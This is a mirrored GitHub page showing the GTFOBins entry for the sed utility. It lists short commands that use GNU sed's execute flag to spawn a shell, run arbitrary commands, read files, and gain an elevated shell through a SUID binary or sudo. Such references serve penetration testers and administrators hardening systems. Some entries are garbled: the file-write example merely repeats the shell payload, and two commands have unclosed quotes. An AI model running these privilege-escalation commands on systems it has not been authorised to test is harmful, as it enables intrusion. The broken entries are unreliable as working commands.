1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/sed.md
2019-04-16 15:37:14 +02:00

709 B

functions
shell command file-write file-read suid sudo
description code
GNU version only. Also, this requires `bash`. sed -n '1e exec sh 1>&0' /etc/hosts
description code
GNU version only. The resulting shell is not a proper TTY shell. sed e
description code
GNU version only. sed -n "1e id" /etc/hosts
code
LFILE=file_to_write sed -n '1e exec sh 1>&0 /etc/hosts
code
LFILE=file_to_read sed '' "$LFILE"
code
LFILE=file_to_read ./sed -e '' "$LFILE"
description code
GNU version only. Also, this requires `bash`. sudo sed -n '1e exec sh 1>&0 /etc/hosts